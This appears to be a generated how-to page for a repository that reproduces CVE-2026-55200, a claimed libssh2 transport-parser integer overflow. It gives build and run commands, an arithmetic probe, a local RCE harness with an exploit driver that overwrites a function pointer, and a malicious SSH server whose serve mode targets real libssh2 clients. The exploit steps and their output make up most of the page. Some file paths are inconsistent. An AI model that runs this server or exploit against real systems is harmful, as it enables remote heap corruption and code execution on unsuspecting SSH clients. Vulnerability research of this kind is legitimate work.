# How to Reproduce the libssh2 Transport Parser Integer Overflow (CVE‑2026‑55200)

> Reproduce the libssh2 transport parser integer overflow (CVE-2026-55200) by exploiting a 32-bit arithmetic wrap for out-of-bounds writes. Learn the technical details and exploit steps.

- Repository: [bikini/exploitarium](https://github.com/bikini/exploitarium)
- Tags: how-to-guide
- Published: 2026-09-07

---

**The libssh2 transport parser integer overflow occurs when `packet_length = 0xffffffff` wraps during 32‑bit arithmetic, causing a 19‑byte allocation for a 4.29 GB payload, leading to out‑of‑bounds writes.**

The `bikini/exploitarium` repository provides a complete, self‑contained proof‑of‑concept for CVE‑2026‑55200. This vulnerability affects libssh2's `ssh2_transport_read()` function in [`src/transport.c`](https://github.com/bikini/exploitarium/blob/main/src/transport.c), where packet length validation happens *after* dangerous arithmetic operations. The following guide walks through arithmetic verification, encrypted packet generation, loopback testing, and a working local RCE demonstration.

---

## Verify the Integer Overflow Arithmetic

The first step reproduces the exact calculation flaw. In [`poc/cve_2026_55200_probe.c`](https://github.com/bikini/exploitarium/blob/main/poc/cve_2026_55200_probe.c), the repository mirrors libssh2's vulnerable logic:

```c
// Simplified from the vulnerable path in ssh2_transport_read()
uint32_t packet_length = 0xffffffff;
uint32_t mac_len = 0;
uint32_t auth_len = 16;
uint32_t rhs32 = (packet_length + mac_len + auth_len) & 0xffffffff;  // = 15
uint32_t total32 = (4 + rhs32) & 0xffffffff;                         // = 19

```

To build and run the verifier:

```bash
git clone https://github.com/bikini/exploitarium.git
cd exploitarium/libssh2-cve-2026-55200-poc/poc
gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe cve_2026_55200_probe.c
./cve_2026_55200_probe

```

Expected output confirms the vulnerability:

```

vulnerable32_decision=accepted
vulnerable32_allocation=19
fixed32_decision=rejected: out of boundary
native_unpatched_decision=accepted
result=PASS

```

**Why this matters:** The library allocates **19 bytes** based on the wrapped sum, but later code paths still reference the original `packet_length` of **0xffffffff** (4,294,967,295 bytes). This mismatch is the root cause of the out‑of‑bounds write.

---

## Generate Malformed Encrypted SSH Packets

The Python server in [`poc/libpwn_cve_2026_55200_server.py`](https://github.com/bikini/exploitarium/blob/main/poc/libpwn_cve_2026_55200_server.py) implements the full cryptographic pipeline. It performs SSH handshake, derives ChaCha20‑Poly1305 keys, and constructs packets with `packet_length = 0xffffffff` in the decrypted plaintext.

Run the self‑test to verify the crypto and arithmetic together:

```bash
cd ../../poc
python3 libpwn_cve_2026_55200_server.py --self-test

```

The `--self-test` flag exercises `build_malformed_wire()` and `model_vulnerable_c_expression()` (lines 58‑66), which reproduce the C arithmetic in Python:

```python
def model_vulnerable_c_expression(packet_length, mac_len, auth_len):
    rhs32 = (packet_length + mac_len + auth_len) & 0xffffffff  # wraps to 15

    total32 = (4 + rhs32) & 0xffffffff                         # wraps to 19

    return total32  # allocation size, not the checked length

```

Success output includes:

```

[self-test] chacha20-poly1305@openssh.com packet generator
packet_length=0xffffffff (4294967295)
vulnerable_c_expression_accepted=True
vulnerable_c_expression_allocation=19
[self-test] PASS

```

---

## Loopback Test for End‑to‑End Verification

The `--loopback-test` option validates the full path from handshake to trigger delivery without requiring an external client:

```bash
python3 libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0

```

This spins up a server thread and client socket pair, performing:

1. **KEXINIT** exchange with curve25519‑sha256
2. **ECDHE** key derivation
3. **NEWKEYS** transition to ChaCha20‑Poly1305 encryption
4. **Malicious packet injection** with `packet_length = 0xffffffff`

Success output:

```

[loopback-test] minimal SSH handshake/key-derivation path
decrypted_trigger_packet_length=0xffffffff (4294967295)
encrypted_trigger_fragment_len=...
[loopback-test] PASS

```

This confirms that a real libssh2 client would decrypt the trigger packet and proceed to the vulnerable allocation path in `src/transport.c:ssh2_transport_read()`.

---

## Local RCE Proof‑of‑Concept

The repository includes a controlled harness demonstrating code execution after the overflow. The components are:

- **[`poc/libpwn_local_rce_harness.c`](https://github.com/bikini/exploitarium/blob/main/poc/libpwn_local_rce_harness.c)** — Allocates 19 bytes using the vulnerable formula, then copies `packet_length - 1` bytes into it
- **[`poc/libpwn_local_rce_exploit.py`](https://github.com/bikini/exploitarium/blob/main/poc/libpwn_local_rce_exploit.py)** — Crafts input to overwrite a function pointer and redirect execution

Build and execute the RCE demo:

```bash
gcc -O0 -g -Wall -Wextra -o libpwn_local_rce_harness poc/libpwn_local_rce_harness.c
python3 libpwn_local_rce_exploit.py \
    --harness ./libpwn_local_rce_harness \
    --proof ./libpwn_rce_proof.txt
cat libpwn_rce_proof.txt

```

Verified output:

```

RCE_PROOF=PASS
libpwn-rce-verified

```

**Exploitation mechanism:** The harness's `malloc(19)` returns a small heap chunk. The subsequent `memcpy` of `0xffffffff - 1` bytes overflows into adjacent metadata, overwriting a stored callback pointer. The exploit driver precomputes a payload address that creates the proof file upon invocation.

---

## Target Real libssh2 Clients

To test against actual vulnerable binaries, launch the malicious server:

```bash
python3 libpwn_cve_2026_55200_server.py --serve \
    --listen-host 0.0.0.0 \
    --listen-port 2222 \
    --packet-length 0xffffffff \
    --body-len 8 \
    --filler-len 64

```

Server operation flow:

1. Accepts TCP connection on port 2222
2. Completes SSH handshake with connecting client
3. Sends encrypted trigger packet with `packet_length = 0xffffffff` in plaintext
4. Holds connection open for `--hold-open` seconds (default: 1)

Diagnostic output:

```

[+] sent malformed chacha/poly1305 trigger at server seq=6
[+] trigger bytes=64 packet_length=0xffffffff

```

A vulnerable libssh2 client will allocate 19 bytes, then attempt to process 4.29 GB of payload data, causing heap corruption and potential code execution.

---

## Quick Reference Commands

```bash

# 1. Verify arithmetic

gcc -std=c11 -Wall -Wextra -O0 -g -o probe poc/cve_2026_55200_probe.c && ./probe

# 2. Self-test crypto scaffold

python3 poc/libpwn_cve_2026_55200_server.py --self-test

# 3. Loopback end-to-end test

python3 libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0

# 4. Build and run RCE harness

gcc -O0 -g -Wall -Wextra -o harness poc/libpwn_local_rce_harness.c
python3 poc/libpwn_local_rce_exploit.py --harness ./harness --proof proof.txt

# 5. Serve malicious payload to real clients

python3 libpwn_cve_2026_55200_server.py --serve --listen-host 0.0.0.0 --listen-port 2222

```

---

## Summary

- **Root cause:** 32‑bit integer overflow when adding `packet_length + mac_len + auth_len` before bounds checking against `LIBSSH2_PACKET_MAXPAYLOAD` in [`src/transport.c`](https://github.com/bikini/exploitarium/blob/main/src/transport.c)
- **Vulnerable value:** `packet_length = 0xffffffff` wraps allocation to **19 bytes** while preserving original **4.29 GB** length for later use
- **Key reproduction files:**
  - [`poc/cve_2026_55200_probe.c`](https://github.com/bikini/exploitarium/blob/main/poc/cve_2026_55200_probe.c) — standalone arithmetic verifier
  - [`poc/libpwn_cve_2026_55200_server.py`](https://github.com/bikini/exploitarium/blob/main/poc/libpwn_cve_2026_55200_server.py) — full SSH server with crypto and self‑test
  - [`poc/libpwn_local_rce_harness.c`](https://github.com/bikini/exploitarium/blob/main/poc/libpwn_local_rce_harness.c) + [`poc/libpwn_local_rce_exploit.py`](https://github.com/bikini/exploitarium/blob/main/poc/libpwn_local_rce_exploit.py) — controlled RCE demonstration
- **Upstream fix:** Add `if (packet_length > LIBSSH2_PACKET_MAXPAYLOAD) return -1` guard before any arithmetic (commit `97acf3dfda80c91c3a8c9f2372546301d4a1a7a8`)

---

## Frequently Asked Questions

### What versions of libssh2 are affected by CVE‑2026‑55200?

All versions prior to the fix commit `97acf3dfda80c91c3a8c9f2372546301d4a1a7a8` are vulnerable. The bug exists in the transport parser's length validation logic, specifically in `ssh2_transport_read()` within [`src/transport.c`](https://github.com/bikini/exploitarium/blob/main/src/transport.c). Versions using 32‑bit arithmetic for packet length calculations are exploitable regardless of platform bitness.

### Why does the allocation wrap to exactly 19 bytes?

The calculation follows: `(4 + ((0xffffffff + 0 + 16) & 0xffffffff)) & 0xffffffff`. Step by step: `0xffffffff + 16 = 0x0000000f` (wraps to 15), then `4 + 15 = 19`. The constant 4 accounts for the packet length field itself, while 16 is the Poly1305 authentication tag length. This 19‑byte allocation is tiny compared to the claimed 4.29 GB payload.

### Can this vulnerability be exploited remotely without authentication?

Yes. The malformed packet is sent *after* the SSH handshake completes and encryption keys are established, but *before* any user authentication occurs. The server in [`libpwn_cve_2026_55200_server.py`](https://github.com/bikini/exploitarium/blob/main/libpwn_cve_2026_55200_server.py) demonstrates this by completing KEXINIT, ECDHE, and NEWKEYS exchanges before delivering the trigger.

### How does the fix prevent the integer overflow?

The patched code validates `packet_length` against `LIBSSH2_PACKET_MAXPAYLOAD` (32768 bytes) immediately upon decryption, rejecting oversized values before any arithmetic operations. This prevents the 32‑bit wrap because the check occurs on the raw decrypted value, not on the result of additions.